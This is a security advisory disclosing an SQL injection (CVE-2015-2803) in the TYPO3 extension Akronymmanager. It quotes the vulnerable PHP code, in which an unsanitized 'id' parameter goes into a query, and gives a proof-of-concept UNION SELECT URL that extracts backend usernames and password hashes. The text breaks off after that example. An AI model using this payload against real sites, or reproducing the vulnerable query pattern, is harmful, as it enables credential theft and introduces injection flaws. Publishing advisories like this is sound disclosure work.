Advisory: SQL Injection in TYPO3 Extension Akronymmanager An SQL injection vulnerability in the TYPO3 extension "Akronymmanager" allows authenticated attackers to inject SQL statements and thereby read data from the TYPO3 database. ### Details - Product: sb_akronymmanager - Affected Versions: \<=0.5.0 - Fixed Versions: 7.0.0 - Vulnerability Type: SQL Injection - Security Risk: medium - Vendor URL: `http://typo3.org/extensions/repository/view/sb_akronymmanager` - Vendor Status: fixed version released - Advisory URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2015-002` - Advisory Status: published - CVE: CVE-2015-2803 - CVE URL: `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803` ### Introduction "The Acronym Manager adds special explanatory markup to acronyms, abbreviations and foreign words on the whole site following the requirement to accessible web content. It provides a backend module to administer a list of words to generate new HTML elements for explanatory markup." (from the extension's documentation) ### More Details Users with the respective privileges can maintain acronyms through the Akronymmanager extension pages in the TYPO3 backend web interface. In the extension's file mod1/index.php, an SQL query is generated like follows (line 357 and following): \[...\] \$pageID = t3lib_div::\_GET("id"); if (\$pageID) \$where = "uid='\$pageID' AND "; \$result = \$GLOBALS\['TYPO3_DB'\]-\>exec_SELECTquery('title,uid', 'pages', \$where.'hidden="0" AND deleted="0"','sorting'); \[...\] The value of the user-supplied HTTP GET parameter 'id' is used without sanitizing it before its use in the subsequent SQL statement. Therefore, attackers are able to manipulate the resulting SQL statement and inject their own queries into the statement. ### Proof of Concept When requesting the following URL, the vulnerability is exploited to yield all usernames and hashes from the TYPO3 be_users database: ``` http://www.example.org/typo3conf/ext/sb_akronymmanager/mod1/index.php? id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password) %20FROM%20be_users),2%20--%20 ``` The login credentials are then embedded in the HTML page that is returned: \[...\] \